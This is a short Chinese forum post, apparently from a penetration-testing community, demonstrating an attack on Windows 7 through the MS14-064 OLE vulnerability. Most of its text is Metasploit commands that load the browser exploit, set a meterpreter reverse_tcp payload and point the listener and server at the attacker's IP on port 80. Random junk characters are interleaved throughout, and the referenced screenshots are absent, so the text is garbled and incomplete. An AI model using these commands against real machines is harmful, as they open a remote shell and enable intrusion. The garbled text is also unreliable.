MS14-064 漏洞测试入侵win7 - 中国网络渗透测试联盟

5 \5 J* W4 C; a2 r' ~; a7 a 我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示 + e$ q* T0 y* P# ~9 ]( N: p- p

9 ^* g' ^# K1 I; K& m* V 开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图： + g: s! [( {) |& Q( S( ~. ^1 I

5 b, Y8 w+ U# k+ [; g% ~- y 然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp W# A8 |2 e5 V& c# R2 K

% x) G5 }8 q* _9 Q1 x( T2 ` set AllowPowershellPrompt true # l2 L$ l" v7 \" I: f& y

! S5 |8 |/ \4 p. e% y! H Set LHOST 192.168.0.109 : ^1 j+ W/ D! H5 N! [7 A

2 H. m2 t2 ]6 V# D" a* O# A: s' N set SRVHOST 192.168.0.109. \: s+ d i- M/ p$ n# D4 _$ O

; i, t" Y8 l1 D3 h& U- ` Set uripath share . x2 E$ n2 W5 v( P* ]$ F# y0 a

, S3 q* t8 H$ p0 f Set srvport 80 * ^( [% K3 u$ U" M+ c

9 Z! \$ P% _- E( t0 Q6 B5 d6 p , J, n% @" e7 s) ^4 [

6 ^8 E' x) x3 @' |1 Z3 G 9 ?2 |4 [! h* |2 M+ ~

) I e1 ^7 F. o . t6 F3 P/ |- W* e% O' U7 ^

8 A+ D' M" {3 N 9 j7 U& M, n C$ ~% D/ O3 r* k

! Q S/ B: f2 B4 @# W2 D& K 4 P- F0 M$ e7 x% t# J; s# n- c$ |

5 G( B9 s$ [; O; ]# r6 Q' P# X 下面我们来访问本地地址如图： % `6 d% j1 e9 y; r+ F7 t

U- I$ N1 {& T# X( J% b 2 R2 H" Q/ V' i. D0 M; a* @

" [. T7 L! w# N( ?8 r* s; U 4 v! \# f) C' k7 o2 ]

9 ?% t; e9 v0 G. b1 ^; T 1 T7 p6 _* I D8 ` U$ P8 {* t